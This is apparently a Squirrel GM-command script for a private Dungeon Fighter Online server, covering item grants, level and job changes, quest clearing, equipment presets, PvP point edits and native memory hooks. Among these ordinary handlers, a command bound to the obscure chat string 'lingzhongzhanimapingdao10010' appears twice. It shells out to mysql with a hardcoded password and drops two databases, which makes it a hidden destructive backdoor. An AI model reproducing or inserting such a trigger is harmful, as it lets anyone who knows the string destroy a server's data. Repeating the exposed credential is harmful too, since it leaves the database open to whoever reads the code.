Gm_InputFunc_Handle <- {}

Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}


Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
    sq_ReloadScript();
    print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
    print("\n");
    print("Xpos: " + SUser.GetAreaPos().X);
    print("Ypos: " + SUser.GetAreaPos().Y);
    print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
    local Location = SUser.GetLocation();
    print("\n");
    print("Xpos: " + Location.Pos.X);
    print("Ypos: " + Location.Pos.Y);
    print("Town: " + Location.Town);
    print("Area: " + Location.Area);
    print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
    SUser.Kick();
};


Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        print(handler[1].tointeger());
        SUser.SetCharacLevel(handler[1].tointeger());
    }
}


Gm_InputFunc_Handle["cs"] <- function(SUser, CmdString) {

    SUser.ReqDBSendMultiMail("标题", "内容", 0, [
        [3037, 100],
        [3038, 100]
    ]);
}

Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
        if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
    } else if (count == 2) {
        local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
        if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
    }
}

Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        SUser.ChangeGrowType(handler[1].tointeger(), 0);
        SUser.SendNotiPacket(0, 2, 0);
        SUser.InitSkillW(handler[1].tointeger(), 0);
    } else if (count == 2) {
        SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
        SUser.SendNotiPacket(0, 2, 0);
        SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
    }
}

Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
    SUser.ClearQuest_Gm(674);
    SUser.ClearQuest_Gm(649);

    SUser.ClearQuest_Gm(675);
    SUser.ClearQuest_Gm(650);

    SUser.ClearQuest_Gm(4571);
    SUser.ClearQuest_Gm(4414);
    SUser.ClearQuest_Gm(4415);

    SUser.ClearQuest_Gm(2603);
    SUser.ClearQuest_Gm(2610);
    SUser.ClearQuest_Gm(2613);
    SUser.ClearQuest_Gm(2622);
    SUser.ClearQuest_Gm(4391);
    SUser.ClearQuest_Gm(4539);

    SUser.ClearQuest_Gm(220);
    SUser.ClearQuest_Gm(221);
}



Gm_InputFunc_Handle["测试"] <- function(SUser, CmdString) {
    SUser.ClearQuest_Gm(674);
    SUser.ClearQuest_Gm(649);

    SUser.ClearQuest_Gm(675);
    SUser.ClearQuest_Gm(650);
}

Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
    local PartyObj = SUser.GetParty();
    // Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
    Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}

Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}


Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
    local InvenObj = SUser.GetInven();
    local Slot = InvenObj.GetSlotById(3037);
    local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
    SUser.SendUpdateItemList(1, 0, Slot);
};

Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {

};


function calculate_grade(point) {
    if (point< 500) return 1;
    else if (point< 1000) return 2;
    else if (point< 1500) return 3;
    else if (point< 2000) return 4;
    else if (point< 2500) return 5;
    else if (point< 3000) return 6;
    else if (point< 3500) return 7;
    else if (point< 4000) return 8;
    else if (point< 4500) return 9;
    else if (point< 5000) return 10;
    else if (point< 5500) return 11;
    else if (point< 6000) return 12;
    else if (point< 6500) return 13;
    else if (point< 7000) return 14;
    else if (point< 7500) return 15;
    else if (point< 8000) return 16;
    else if (point< 8500) return 17;
    else if (point< 9000) return 18;
    else if (point< 9500) return 19;
    else if (point< 10000) return 20;
    else if (point< 10500) return 21;
    else if (point< 11000) return 22;
    else if (point< 11500) return 23;
    else if (point< 12000) return 24;
    else if (point< 12500) return 25;
    else if (point< 13000) return 26;
    else if (point< 13500) return 27;
    else if (point< 14000) return 28;
    else if (point< 14500) return 29;
    else if (point< 15000) return 30;
    else return 31;
}

Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
    local Cid = SUser.GetCID();
    Sq_CallFunc(S_Ptr("0x8686FEE"), "void", ["pointer", "bool"], SUser.C_Object, true);
    local SqlObj = MysqlPool.GetInstance().GetConnect();
    local sql = format("SELECT pvp_point, pvp_grade FROM pvp_result WHERE charac_no = %d", Cid);
    local result = SqlObj.Select(sql, ["int", "int"]);
    // 解析查询结果
    local pvp_point = result[0][0];
    local pvp_grade = result[0][1];
    // 计算新的PVP积分和等级
    local new_point = pvp_point + 500;
    local new_grade = calculate_grade(new_point);
    local newsql = format("UPDATE pvp_result SET win = win + 1, pvp_point = %d, pvp_grade = %d, play_count = play_count + 1,pvp_count = pvp_count + 1, win_point = win_point + 10 WHERE charac_no = %d", new_point, new_grade, Cid);
    SqlObj.Exec_Sql(newsql);
    MysqlPool.GetInstance().PutConnect(SqlObj);
};

Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
    local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";


    local Pack = Packet();
    Pack.Put_Header(1, 130);
    Pack.Put_Byte(1);
    Pack.Put_Int(Str.len());
    Pack.Put_Binary(Str);
    Pack.Finalize(true);
    SUser.Send(Pack);
    Pack.Delete();
};

Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
    local Location = SUser.GetLocation();

    SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
    SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
    SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
    SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
    SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
    SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
    SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
    SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
    SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
    SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
    SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
    SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);

    SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
    SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
    SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
    SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
    SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);

    SUser.SendNotiBox("测试", 1);
};


function Cb_gm_input(C_User, CmdString) {
    local SUser = User(C_User);
    local Pos = CmdString.find(" ");
    local Str;
    if (Pos) {
        Str = CmdString.slice(0, Pos);
    } else {
        Str = CmdString;
    }
    if (Str in Gm_InputFunc_Handle) {
        Gm_InputFunc_Handle[Str](SUser, CmdString);
    }
}

function TestIoP() {
    local ret = suspend("no");
    local Io = IO("/dp_s/a.txt", "w+");
    for (local i = 0; i< 500000; i++) {
        Io.Write("写入测试文本: " + i + "\n");
        if ((i % 5000) == 0) ret = suspend("no");
    }
    Io.Close();

    return "yes";
}

function TestThread(coro) {
    local susparam = "noq";
    if (coro.getstatus() == "idle") susparam = coro.call();
    else if (coro.getstatus() == "suspended") susparam = coro.wakeup();

    if (susparam == "no") {
        Timer.SetTimeOut(TestThread, 0, coro);
    } else {
        print("文件书写完成");
    }
}


function TestCronTask(str) {
    print(str);
    print("定时任务已执行一次");
}

// class Map{

// }
// Timer.SetTimeOut(function() {
//     local dgn_requirements = {
//         [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40],
//         [2] = [0, 20],
//     };
//     print(dgn_requirements[1]);
//     printT(dgn_requirements);

// }, 0);
// Timer.SetTimeOut(function() {
//     local SUser = World.GetUserByUid(1);
//     local InvenObj = SUser.GetInven();
//     local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56);

//     local AdMsgObj = AdMsg();
//     AdMsgObj.PutType(8);
//     AdMsgObj.PutString("测试文字");
//     AdMsgObj.PutColorString("测试文字", [255, 85, 0]);
//     AdMsgObj.PutImoticon(2);
//     AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]);
//     AdMsgObj.PutEquipment(EquObj);
//     AdMsgObj.Finalize();

//     // SUser.Send(AdMsgObj.MakePack());
//     World.SendAll(AdMsgObj.MakePack());
//     AdMsgObj.Delete();
// }, 0);






Gm_InputFunc_Handle.WEQ <- function(SUser, CmdString) {
    // // World.MoveArea(SUser, 1, 0, 55, 349);

    // // print(789456);
    // local Str = "{\"op\":20074002,\"uid\":1,\"btnX\":430,\"btnY\":500,\"info\":[{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":1},{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":0}],\"cid\":1}";
    // // local Str = "{\"op\":20078034,\"info\":[{\"job\":3,\"growjob\":0,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27},{\"job\":3,\"growjob\":1,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"吉祥物\",\"uid\":3,\"cid\":26},{\"job\":3,\"growjob\":0,\"avatar\":[51265,51400,0,0,52600,53000,0,53800,54200,0,0],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27}]}";
    // // local Str = "{\"op\":20064026,\"uid\":2,\"rewards2\":[[{\"item\":3040,\"num\":2,\"item2\":0,\"num2\":0,\"grade\":1,\"count\":1,\"cid\":27}]],\"deathsNum\":0,\"time\":179999,\"state\":1,\"rewards\":[{\"item\":3036,\"num\":1,\"item2\":0,\"num2\":0,\"grade\":0,\"count\":1,\"cid\":27}],\"cid\":27}";
    // local Pack = Packet();
    // Pack.Put_Header(1, 130);
    // Pack.Put_Byte(1);
    // Pack.Put_Int(Str.len());
    // Pack.Put_Binary(Str);
    // Pack.Finalize(true);
    // SUser.Send(Pack);
    // Pack.Delete();

    // print("下发模拟包");
    // local A = NativePointer(SUser.C_Object).add(16);
    // local B = A.readPointer();
    // local C = NativePointer(B).add(101);
    // local D = NativePointer(C).add(8).readInt();

    //附魔不报错
    Haker.LoadHook("0x081D233A", ["pointer", "pointer", "pointer", "int"],
        function(args) {
            return null;
        },
        function(args) {
            return 0;
        });

    Haker.LoadHook("0x081D24B8", ["pointer", "pointer", "pointer", "pointer", "int"],
        function(args) {
            return null;
        },
        function(args) {
            return null;
        });

};




Gm_InputFunc_Handle.QS <- function(SUser, CmdString) {
    SUser.RechargeCeraPoint(10000);
};
Gm_InputFunc_Handle.QS2 <- function(SUser, CmdString) {
    SUser.RechargeCeraPoint(-100);
};
Gm_InputFunc_Handle.Test <- function(SUser, CmdString) {
    SUser.SetCharacLevel(60);
};

function HexStringToInt(Str) {
    if (!(getroottable().rawin("__strtol__function__address__"))) __strtol__function__address__ <- Module.getExportByName(null, "strtol");
    local Ret = Sq_CallFunc(__strtol__function__address__, "int", ["pointer", "pointer", "int"], Memory.allocUtf8String(Str).C_Object, Memory.alloc(0), 16);
    return Ret;
}

function UserdataSliceStr(Data) {
    local Str = "" + Data;
    local Pos = Str.find("0x");
    local Pos2 = Str.find(")");
    local Ret = Str.slice(Pos + 2, Pos2);
    return Ret;
}






//品级对应的RGB
rarityColorMap <- {
    "0": [255, 255, 255], // 普通
    "1": [104, 213, 237], // 高级
    "2": [179, 107, 255], // 稀有
    "3": [255, 0, 255], // 神器
    "4": [255, 180, 0], // 史诗
    "5": [255, 102, 102], // 勇者
    "6": [255, 20, 147], // 深粉红色
    "7": [255, 215, 0] // 金色
};

//通过道具ID获取RGB
function RarityColor(item_id) {
    local PvfItemObj = PvfItem.GetPvfItemById(item_id);
    if (PvfItemObj == null) {
        return;
    }
    local CItem_get_rarity = PvfItemObj.GetRarity(); // 装备品级
    return rarityColorMap[(CItem_get_rarity).tostring()];
}


user_equ_plan <- {};

function GetEquip(SUser) {
    //获取玩家背包
    local InvenObj = SUser.GetInven();
    if (!InvenObj) {
        return;
    }
    local equArr = {};

    // 读穿戴装备(10-21) + 时装(0-9)
    for (local i = 0; i< 26; i++) {
        // // 跳过非上衣时装，若需要换全部时装注释掉这段if
        // if (i != 3 && (i < 10 || i > 21)) {
        //     equArr[i] <- {
        //         "id": 0,
        //         "lv": 0
        //     };
        //     continue;
        // }

        local ItemObj = InvenObj.GetSlot(0, i);
        local equId = ItemObj.GetIndex();
        local item_upgrade = ItemObj.GetUpgrade();
        local item_name = PvfItem.GetNameById(equId);
        if (item_upgrade > 0) {
            item_name = "+" + item_upgrade + " " + item_name;
        }
        //id:装备id   lv:时装数据库uid/装备品级
        equArr[i] <- {
            "id": equId > 0 ? equId : 0,
            "lv": equId > 0 ? NativePointer(ItemObj.C_Object).add(7).readU32() : 0
        };

        if (equId > 0) {
            local AdMsgObj = AdMsg();
            AdMsgObj.PutType(2);
            AdMsgObj.PutString(" ");
            AdMsgObj.PutEquipment("[" + item_name + "]", ItemObj, RarityColor(equId));
            AdMsgObj.PutString("已登记");
            AdMsgObj.Finalize();
            SUser.Send(AdMsgObj.MakePack());
            AdMsgObj.Delete();
        }
    }
    return equArr;
}



function SaveEquipPlan(SUser, id) {
    local charac_no = SUser.GetCID().tostring();
    if (!(charac_no in user_equ_plan)) {
        user_equ_plan[charac_no] <- {};
    }
    local info = GetEquip(SUser);
    user_equ_plan[charac_no]["equPlan" + id] <- info;
    local AdMsgObj = AdMsg();
    AdMsgObj.PutType(2);
    AdMsgObj.PutString(" ");
    AdMsgObj.PutString("方案[" + id + "]已启用");
    AdMsgObj.Finalize();
    World.SendAll(AdMsgObj.MakePack());
    AdMsgObj.Delete();
}

function PutOnEquip(SUser, equPlan, id) {
    local charac_no = SUser.GetCID().tostring();
    local InvenObj = SUser.GetInven();
    if (!InvenObj) {
        return;
    }

    // 遍历遍历穿戴栏0-21 时装栏 0-104 和 装备栏 3-56
    for (local i = 0; i< 22; i++) {
        if (equPlan[i].id) {
            local type = i< 10 ? 2 : 1; // type 1装备  2时装
            local startIndex = type == 2 ? 0 : 3; // 背包时装栏从0开始，背包装备栏从3开始
            local endIndex = type == 2 ? 105 : 57; //背包时装栏到104，背包装备栏到56
            for (local j = startIndex; j< endIndex; j++) {
                local equOut = InvenObj.GetSlot(type, j);
                local equId = equOut.GetIndex();
                if (equPlan[i].id == equId && equPlan[i].lv == NativePointer(equOut.C_Object).add(7).readU32()) {
                    Sq_CallFunc(S_Ptr("0x0865EED2"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, type == 2 ? 1 : 0, j, i);
                    break;
                }
            }
        }
    }

    SUser.SendItemSpace(1);
    SUser.SendItemSpace(0);
    SUser.SendItemSpace(7);


    SUser.SendNotiPacket(0, 2, 0);
    SUser.SendNotiPacket(1, 2, 1);
    SUser.SendNotiPacket(7, 2, 7);

    local Bq = Sq_CallFunc(S_Ptr("0x80DD584"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
    Sq_CallFunc(S_Ptr("0x85427A0"), "void", ["pointer", "pointer"], Bq, SUser.C_Object);
    // RefreshTheLockOfEquipment(SUser, InvenObj);
    // Sq_CallFunc(S_Ptr("0x84FAE0A"), "void", ["pointer", "int", "int", "int"], InvenObj.C_Object, NativePointer(InvenObj.C_Object).readInt(), 21, 0);

    // 刷新装备栏锁头(不含穿戴栏暂无法刷新)
    // Sq_CallFunc(S_Ptr("0x84FAF8E"), "void", ["pointer"], InvenObj.C_Object);
    //// 刷新时装栏锁头(不含穿戴栏暂无法刷新)
    //Sq_CallFunc(S_Ptr("0x084FAFBE"), "void", ["pointer"], InvenObj.C_Object);
    // 刷新技能
    Sq_CallFunc(S_Ptr("0x866C46A"), "void", ["pointer"], SUser.C_Object);
    //// 刷新角色状态
    //Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 0, 2, 0);
    //Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 1, 2, 1);
    user_equ_plan[charac_no].startTime <- time(); // 记录结束时间
    SUser.SendNotiPacketMessage("装备方案[" + id + "]切换结束！！", 2);
}

function RefreshTheLockOfEquipment(SUser, InvenObj) {
    local Pack = Packet();
    //Clear
    Sq_CallFunc(S_Ptr("0x80CB8E6"), "int", ["pointer"], Pack.C_Object);
    Pack.Put_Header(0, 251);
    //GetIndex
    local Index = Sq_CallFunc(S_Ptr("0x8110B4C"), "int", ["pointer"], Pack.C_Object);
    Pack.Put_Short(0);
    local V7 = 0;
    for (local i = 0; i< 21; i++) {
        local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
        if (Flag) {
            Pack.Put_Byte(0);
            Pack.Put_Short(i);
            Pack.Put_Byte(1);
            Pack.Put_Int(500000);
            // local Bq = Sq_CallFunc(S_Ptr("0x828B5DE"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
            // Sq_CallFunc(S_Ptr("0x828B5DE"), "char", ["pointer", "pointer"], Bq, Pack.C_Object);
            V7++;
        }
    }
    local Buf = Memory.alloc(4);
    Buf.writeInt(Index);
    Sq_CallFunc(S_Ptr("0x8110B28"), "int", ["pointer", "pointer", "int"], Pack.C_Object, Buf.C_Object, V7);
    Pack.Finalize(1);
    SUser.Send(Pack);
    Pack.Delete();

    print("发包了");
}

function api_PutOnEquip(SUser, id) {
    local charac_no = SUser.GetCID().tostring();
    if (!(charac_no in user_equ_plan)) {
        SUser.SendNotiPacketMessage("方案不存在！！", 2);
        return;
    }
    local equPlanKey = "equPlan" + id;
    if (!user_equ_plan[charac_no].rawin(equPlanKey)) {
        SUser.SendNotiPacketMessage("方案[" + id + "]不存在!!!", 2);
        return;
    }
    local equPlan = user_equ_plan[charac_no][equPlanKey];

    //换装指令冷却时间，5scd
    if (user_equ_plan[charac_no].rawin("startTime")) {
        local currentTime = time();
        local timeDiff = user_equ_plan[charac_no].startTime - currentTime + 5;
        if (timeDiff > 0) {
            SUser.SendNotiPacketMessage("换装功能冷却中，还有<" + timeDiff + ">秒才能使用！", 2);
            return;
        }
    }

    PutOnEquip(SUser, equPlan, id);
}

function MoveItem_send(SUser, type, slot, Bodyslot) {
    local Pack = Packet();
    Pack.Put_Header(1, 19);
    Pack.Put_Byte(1); //默认1
    Pack.Put_Byte(type); //协议, 0时装 1装备
    Pack.Put_Short(slot); // 背包槽位slot
    Pack.Put_Int(1); // 默认1未知
    Pack.Put_Byte(3); // 默认3穿戴栏
    Pack.Put_Short(Bodyslot); //穿戴栏slot(0-25)
    Pack.Finalize(true);
    SUser.Send(Pack);
    local v6 = Sq_CallFunc(S_Ptr("0x081935A2"), "pointer", []);
    Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "pointer", "int", "int", "int", "int"], v6, SUser.C_Object, type, slot, 3, Bodyslot);
    Pack.Delete();
}

function Save_equFnc(SUser, CmdString) {
    local arr = split(CmdString, " ");
    local id = arr[1].tointeger();
    SaveEquipPlan(SUser, id);
}


// 注册命令1
Gm_InputFunc_Handle.rawset("pl", Save_equFnc);

function change_equFnc(SUser, CmdString) {
    local arr = split(CmdString, " ");
    local id = arr[1].tointeger();
    api_PutOnEquip(SUser, id);
}

// 注册命令
Gm_InputFunc_Handle.rawset("on", change_equFnc);










//分割道具列表
function splitItemList(item_list, maxSlots) {
    local length = item_list.len();
    if (length <= maxSlots) {
        return [item_list];
    }

    local result = [];
    for (local i = 0; i< length; i += maxSlots) {
        local end = i + maxSlots;
        if (end > length) {
            end = length;
        }
        result.append(item_list.slice(i, end));
    }
    return result;
}



function WongWork_CQuestClear_isClearedQuest(QuestInfo, QuestID) {
    return Sq_CallFunc(S_Ptr("0x808BAE0"), "bool", ["pointer", "int"], QuestInfo, QuestID);
}

// 判断任务是否为主线并且角色等级符合要求
function isMainQuestAndLevelValid(pvfQuest, characLevel) {
    local questGrade = NativePointer(pvfQuest).add(8).readInt();
    local questLv = NativePointer(pvfQuest).add(0x20).readInt();
    return questGrade == 0 && questLv <= characLevel;
}

// 设置任务为已完成
function clearQuest(QuestInfo, QuestID) {
    Sq_CallFunc(S_Ptr("0x808BA78"), "int", ["pointer", "int"], QuestInfo, QuestID);
}

function User::SendCharacQp() {
    Sq_CallFunc(S_Ptr("0x868AC24"), "int", ["pointer"], this.C_Object);
}

function User::SendCharacQuestPiece() {
    Sq_CallFunc(S_Ptr("0x868AF2C"), "int", ["pointer"], this.C_Object);
}

function User::MainTaskCompleted() {
    // 获取角色任务信息和等级
    local userQuest = GetQuest();
    local questIsClear = NativePointer(userQuest).add(4);
    local characLevel = GetCharacLevel();
    local allClearQuest = 0;
    // 获取 pvf 数据
    local DataManager = Sq_CallFunc(S_Ptr("0x80CC19B"), "pointer", []);

    //完成当前等级所有任务总经验奖励
    local total_exp_bonus = 0;
    //完成当前等级所有任务总金币奖励
    local total_gold_bonus = 0;
    //任务点奖励
    local total_quest_point_bonus = 0;
    local total_quest_piece_bonus = 0;

    //任务最大编号: 29999
    for (local quest_id = 1; quest_id< 30000; quest_id++) {
        //跳过已完成的任务
        if (WongWork_CQuestClear_isClearedQuest(questIsClear.C_Object, quest_id)) continue;

        local achievement = [3606, 4303, 3, 1028, 4, 5, 6, 59, 4423, 2, 60, 61, 6670, 446, 9, 10, 11, 12, 13, 14, 15, 21, 1332, 400, 402, 401, 403, 399, 24, 4572, 25, 26, 58, 93, 5851, 5850, 5852, 5853, 4392, 4393, 4394, 4395, 4396, 4397];
        local found = false;
        for (local i = 0; i< achievement.len(); i++) {
            if (achievement[i] == quest_id) {
                found = true;
                break;
            }
        }

        //获取任务数据
        local quest = Sq_CallFunc(S_Ptr("0x835FDC6"), "pointer", ["pointer", "int"], DataManager, quest_id);
        if (!quest || found == true) continue; // 跳过空任务或不需要完成的任务

        // 判断是否为主线任务且等级符合要求
        if (!isMainQuestAndLevelValid(quest, characLevel)) continue;

        //获取该任务的基础奖励
        local exp_bonus = Memory.alloc(4);
        local gold_bonus = Memory.alloc(4);
        local quest_point_bonus = Memory.alloc(4);
        local quest_piece_bonus = Memory.alloc(4);
        //QP奖励已直接发送到角色 经验/金币只返回结果  需要手动发送
        CUser_quest_basic_reward(this.C_Object, quest, exp_bonus.C_Object, gold_bonus.C_Object, quest_point_bonus.C_Object, quest_piece_bonus.C_Object, 1);

        local exp = exp_bonus.readInt();
        local gold = gold_bonus.readInt();
        local quest_point = quest_point_bonus.readInt();
        local quest_piece = quest_piece_bonus.readInt();

        if (quest_point > 0) total_quest_point_bonus += quest_point; //没有[quest point]字段的任务
        if (quest_piece > 0) total_quest_piece_bonus += quest_piece;

        clearQuest(questIsClear.C_Object, quest_id);
        allClearQuest++;
    }

    local Pack = Packet();
    //通知客户端刷新任务列表
    Sq_CallFunc(S_Ptr("0x86ABBA8"), "int", ["pointer", "pointer"], userQuest, Pack.C_Object);
    Send(Pack);
    Pack.Delete();

    SendNotiPacket(0, 2, 0);
    SendNotiPacket(1, 2, 1);
    SendUpdateItemList(1, 0, 0);
    SendCharacQp();
    SendCharacQuestPiece();

    // 发送通知
    SendNotiPacketMessage("已清理：" + allClearQuest + "个主线任务！", 8);
}




Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
    // SUser.ReqDBSendMultiMail("测试邮件", "测试邮件正文", 1000, [
    //     [3037, 1000],
    //     [3038, 200]
    // ]);

    local InvenObj = SUser.GetInven();
    for (local i = 0; i< 21; i++) {
        local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
        print("i: " + i + "   Flag: " + Flag);
    }


    // SUser.MainTaskCompleted();
};


// getroottable()._LenheartUserLoseEfficacyState_ <- Memory.alloc(577477);
// Memory.reset(getroottable()._LenheartUserLoseEfficacyState_,577477);
// Cb_SendMess_Enter_Func["Rindro"] <- function(args) {
//     local PackCopyBuffer = Memory.alloc(10001);
//     Memory.copy(PackCopyBuffer, NativePointer(args[2]), 1000);
//     local Pack = Packet(PackCopyBuffer.C_Object);

//     local Type = Pack.GetByte();

//     if(Type == 1 || Type == 33){
//         Pack.GetShort();
//         Pack.GetInt();
//         local StrLen =  Pack.GetInt();
//         local SStr = Pack.GetString(256,StrLen);
//         local Str= SStr.readUtf8String();
//         // print("对话长度：" + StrLen);
//         print("对话：" + Str);
//         if(Str.find("asd") != null){
//             args[1] = getroottable()._LenheartUserLoseEfficacyState_.C_Object;
//             print("屏蔽词");
//             return args;
//         }
//     }
// }





ClientSocketPackFuncMap.rawset(21091001, function(SUser, Jso) {
    printT(Jso);
    if (Jso.type == 0) {
        // saveItemToInven(SUser);
        Gm_InputFunc_Handle["aaa"](SUser, "11");
    }
});


// function _Dps_CrossBorderStones_Main_() {
//     local Cofig = GlobalConfig.Get("跨界石_Lenheart.json");
//     Cb_Use_Item_Sp_Func[Cofig.CrossoverId.tointeger()] <- function(SUser, ItemId) {
//         //获取账号金库对象
//         local CargoObj = SUser.GetAccountCargo();
//         //获取账号金库中的一个空格子
//         local EmptySlot = CargoObj.GetEmptySlot();

//         //如果没有空格子
//         if (EmptySlot == -1) {
//             SUser.SendNotiPacketMessage(Cofig.CrossoverStr2, 8);
//             //不扣除道具
//             SUser.GiveItem(ItemId, 1);
//             return;
//         }

//         //获取角色背包
//         local InvenObj = SUser.GetInven();
//         //获取需要转移的装备 这里默认写的装备栏第一个格子
//         local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9);
//         //获取装备ID
//         local EquipId = ItemObj.GetIndex();
//         //获取装备名字
//         local ItemName = PvfItem.GetNameById(EquipId);
//         //获取配置中不可跨界的ID数组
//         local NoCrossId = Cofig.NoCrossIdArr;
//         //如果这个装备不可跨界
//         if (NoCrossId.find(EquipId) != null) {
//             SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr5, ItemName), 7);
//             //不扣除道具
//             SUser.GiveItem(ItemId, 1);
//             return;
//         }
//         //如果没找到这个格子的装备
//         if (!ItemName) {
//             SUser.SendNotiPacketMessage(Cofig.CrossoverStr1, 8);
//             //不扣除道具
//             SUser.GiveItem(ItemId, 1);
//             return;
//         }
//         //跨界
//         local Flag = CargoObj.InsertItem(ItemObj, EmptySlot);
//         if (Flag == -1) {
//             SUser.SendNotiPacketMessage(Cofig.CrossoverStr3, 8);
//             //不扣除道具
//             SUser.GiveItem(ItemId, 1);
//         } else {
//             //销毁背包中的道具
//             ItemObj.Delete();
//             //刷新玩家背包列表
//             SUser.SendUpdateItemList(1, 0, 9);
//             //刷新账号金库列表
//             CargoObj.SendItemList();
//             SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr4, ItemName), 7);
//         }
//     }
// }


// Gm_InputFunc_Handle["okok"] <- function(SUser, cmd) {

//     local _Execve_Address = Module.getExportByName(null, "execve");
//     // local Ret = system("ls");
//     print(_Execve_Address);
